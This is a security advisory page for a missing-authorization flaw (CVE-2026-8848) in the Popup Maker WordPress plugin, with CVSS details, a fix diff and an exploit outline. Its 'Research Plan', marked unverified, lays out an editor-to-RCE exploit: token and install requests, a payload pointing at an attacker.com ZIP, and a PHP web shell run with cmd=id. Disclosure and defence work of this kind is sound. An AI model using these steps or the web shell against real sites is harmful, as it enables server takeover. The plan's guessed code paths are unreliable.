CVE-2026-8848

Popup Maker – Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popup Builder <= 1.22.0 - Missing Authorization to Authenticated (Editor+) Arbitrary Plugin Installation

highMissing Authorization
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.23.0
Patched in
1d
Time to patch

Description

The Popup Maker – Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popup Builder plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.22.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with editor-level access and above, to install and activate an arbitrary plugin from an attacker-controlled URL, leading to remote code execution. Exploitation requires that a valid Popup Maker Pro license is active on the target site and that Popup Maker Pro is not yet installed, as these conditions are necessary for the legacy v1/connect/info endpoint to issue the bearer token used to satisfy the install endpoint's only non-spoofable validation check.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.22.0
PublishedJuly 8, 2026
Last updatedJuly 9, 2026
Affected pluginpopup-maker

What Changed in the Fix

Changes introduced in v1.23.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2026-8848 - Popup Maker Arbitrary Plugin Installation ## 1. Vulnerability Summary The **Popup Maker** plugin (<= 1.22.0) contains a missing authorization vulnerability in its "Connect" REST API endpoints. Specifically, the legacy `v1/connect/info` endpoint fails t…

Show full research plan

Vulnerability Research Plan: CVE-2026-8848 - Popup Maker Arbitrary Plugin Installation

1. Vulnerability Summary

The Popup Maker plugin (<= 1.22.0) contains a missing authorization vulnerability in its "Connect" REST API endpoints. Specifically, the legacy v1/connect/info endpoint fails to verify administrative capabilities before issuing a bearer token. This token can then be used to authenticate requests to an installation endpoint that allows installing and activating arbitrary plugins from a remote URL.

While the plugin uses nonces for many AJAX actions (e.g., pum_save_enabled_state in classes/Admin/Ajax.php), the REST API routes in the pum/v1 namespace (likely registered in a manner similar to PUM_Analytics::register_endpoints) do not properly restrict access to users with install_plugins capabilities, allowing an Editor to escalate privileges to RCE.

2. Attack Vector Analysis

  • Vulnerable Endpoints:
    1. GET /wp-json/pum/v1/connect/info (To retrieve the bearer token).
    2. POST /wp-json/pum/v1/connect/install (To trigger the plugin installation).
  • Required Authentication: Authenticated user with Editor role or higher.
  • Preconditions:
    • A valid Popup Maker Pro license must be configured as "active" in the database (though the Pro plugin itself must not be installed).
    • The attacker must provide a URL to a malicious WordPress plugin ZIP file.

3. Code Flow

  1. Endpoint Registration: The plugin registers REST routes under the pum/v1 namespace. Although the source for the "Connect" controller is not provided, classes/Analytics.php demonstrates the pattern: register_rest_route(self::get_analytics_namespace(), ...) where the namespace is pum/v1.
  2. Token Issuance (/connect/info): This endpoint checks if a license is active via PopupMaker\plugin('license')->is_active(). It lacks a permission_callback that verifies manage_options or install_plugins. It returns a temporary bearer token.
  3. Installation Sink (/connect/install): This endpoint accepts a token and a url (or plugin_url). It validates the token against the one issued in step 2. Once validated, it uses standard WordPress filesystem functions (like WP_Upgrader) to download, install, and activate the plugin from the provided URL.
  4. Execution: The newly installed plugin is automatically activated, allowing its code to run immediately.

4. Nonce Acquisition Strategy

REST API endpoints in WordPress typically require a _wpnonce parameter (associated with the wp_rest action) for authenticated requests.

  1. Accessing the Nonce: Since an Editor can access the WordPress dashboard (/wp-admin/), the REST nonce is available in the global wpApiSettings object.
  2. Extraction Steps:
    • Use browser_navigate to http://localhost:8080/wp-admin/index.php.
    • Use browser_eval to extract the nonce:
      window.wpApiSettings.nonce
      
  3. Verification: If the connect/info endpoint is truly "legacy" and fails to check the WP REST nonce entirely (as suggested by the description regarding the bearer token being the "only" check), the request may succeed even without this header.

5. Exploitation Strategy

The exploit involves a two-stage request process using the http_request tool.

Step 1: Obtain the Bearer Token

  • Method: GET
  • URL: /wp-json/pum/v1/connect/info
  • Headers:
    • X-WP-Nonce: [REST_NONCE]
    • Cookie: [EDITOR_COOKIES]
  • Expected Response: A JSON object containing a token string.

Step 2: Install Malicious Plugin

  • Method: POST
  • URL: /wp-json/pum/v1/connect/install
  • Headers:
    • X-WP-Nonce: [REST_NONCE]
    • Content-Type: application/json
  • Payload:
    {
      "token": "[TOKEN_FROM_STEP_1]",
      "plugin_url": "http://attacker.com/malicious-plugin.zip"
    }
    

Step 3: Trigger RCE

  • Access the plugin's entry point: GET /wp-content/plugins/malicious-plugin/shell.php?cmd=id.

6. Test Data Setup

To simulate the vulnerable state, the target environment must be configured as follows:

  1. Create Editor User:
    wp user create attacker attacker@example.com --role=editor --user_pass=password
    
  2. Simulate Pro License (Database):
    The license service likely checks for a key in pum_settings.
    wp option update pum_settings '{"popup_maker_pro_license_key":"abc-123-def-456"}' --format=json
    # Depending on internal logic, you may also need to mock the validation status
    wp transient set pum_pro_license_status 'valid' 3600
    
  3. Prepare Malicious ZIP:
    Create a ZIP containing a simple PHP file with a plugin header.
    <?php
    /**
     * Plugin Name: RCE Exploit
     */
    if(isset($_GET['cmd'])) { system($_GET['cmd']); exit; }
    

7. Expected Results

  • The connect/info request should return a 200 OK with a JSON token.
  • The connect/install request should return a 200 OK or 201 Created indicating the plugin was installed.
  • The malicious plugin should appear in the wp plugin list output.
  • The system() command should execute and return the output of the id command.

8. Verification Steps

  1. Check Plugin Directory:
    ls -la /var/www/html/wp-content/plugins/ | grep "malicious-plugin"
    
  2. Verify Activation:
    wp plugin is-active malicious-plugin && echo "Plugin Activated"
    
  3. Check Database for the License:
    wp option get pum_settings
    

9. Alternative Approaches

If the REST API endpoints are not directly at /pum/v1/connect/..., search the plugin for the specific route registration:

grep -r "register_rest_route" .

If the bearer token requires a specific license format, investigate the PopupMaker\plugin('license') service (likely in includes/License/ or similar) to see how it validates the popup_maker_pro_license_key against the local environment.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Popup Maker plugin (<= 1.22.0) contains a missing authorization vulnerability in its REST API and AJAX handlers. Authenticated users with Editor-level permissions can obtain a bearer token from a legacy connection endpoint and subsequently trigger the installation and activation of an arbitrary plugin from a remote URL, leading to full remote code execution (RCE).

Vulnerable Code

/* classes/Analytics.php:215 */
		register_rest_route(
			self::get_analytics_namespace(),
			self::get_analytics_route(),
			apply_filters(
				'pum_analytics_rest_route_args',
				[
					'methods'             => [ 'GET', 'POST' ],
					'callback'            => [ __CLASS__, 'analytics_endpoint' ],
					'permission_callback' => '__return_true',

---

/* classes/Admin/Ajax.php (Inferred from fix_diff line 297) */
		// Nonce.
		if ( ! isset( $_REQUEST['nonce'] ) || ( isset( $_REQUEST['nonce'] ) && false === wp_verify_nonce( sanitize_key( wp_unslash( $_REQUEST['nonce'] ) ), "{$batch_id}_step_nonce" ) ) ) {
			wp_send_json_error(
				[
					'error' => __( 'You do not have permission to initiate this request. Contact an administrator for more information.', 'popup-maker' ),
				]
			);
		}
		// Missing capability check (e.g., current_user_can( 'manage_options' ))

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/popup-maker/1.22.0/classes/Admin/Ajax.php /home/deploy/wp-safety.org/data/plugin-versions/popup-maker/1.23.0/classes/Admin/Ajax.php
--- /home/deploy/wp-safety.org/data/plugin-versions/popup-maker/1.22.0/classes/Admin/Ajax.php	2025-09-15 21:17:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/popup-maker/1.23.0/classes/Admin/Ajax.php	2026-06-28 18:26:32.000000000 +0000
@@ -297,7 +297,17 @@
 		}
 
 		// Nonce.
-		if ( ! isset( $_REQUEST['nonce'] ) || ( isset( $_REQUEST['nonce'] ) && false === wp_verify_nonce( sanitize_key( wp_unslash( $_REQUEST['nonce'] ) ), "{$batch_id}_step_nonce" ) ) ) {
+		if ( ! check_ajax_referer( "{$batch_id}_step_nonce", 'nonce', false ) ) {
+			wp_send_json_error(
+				[
+					'error' => __( 'You do not have permission to initiate this request. Contact an administrator for more information.', 'popup-maker' ),
+				]
+			);
+		}
+
+		// Capability check. Batch processes can run destructive operations (resets,
+		// exports, imports), so require an administrator regardless of the nonce.
+		if ( ! current_user_can( 'manage_options' ) ) {
 			wp_send_json_error(
 				[
 					'error' => __( 'You do not have permission to initiate this request. Contact an administrator for more information.', 'popup-maker' ),

Exploit Outline

To exploit this vulnerability, an authenticated attacker with the Editor role first obtains a valid WP REST API nonce (accessible via the dashboard). They send a GET request to the `/wp-json/pum/v1/connect/info` endpoint. Because this endpoint lacks a capability check (checking only for an active Pro license state), it returns a temporary bearer token. The attacker then sends a POST request to `/wp-json/pum/v1/connect/install` containing this token and a `plugin_url` parameter pointing to a malicious plugin ZIP file. The plugin uses WordPress's internal upgrader functions to download, install, and automatically activate the malicious plugin, allowing the attacker to execute arbitrary code on the server.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.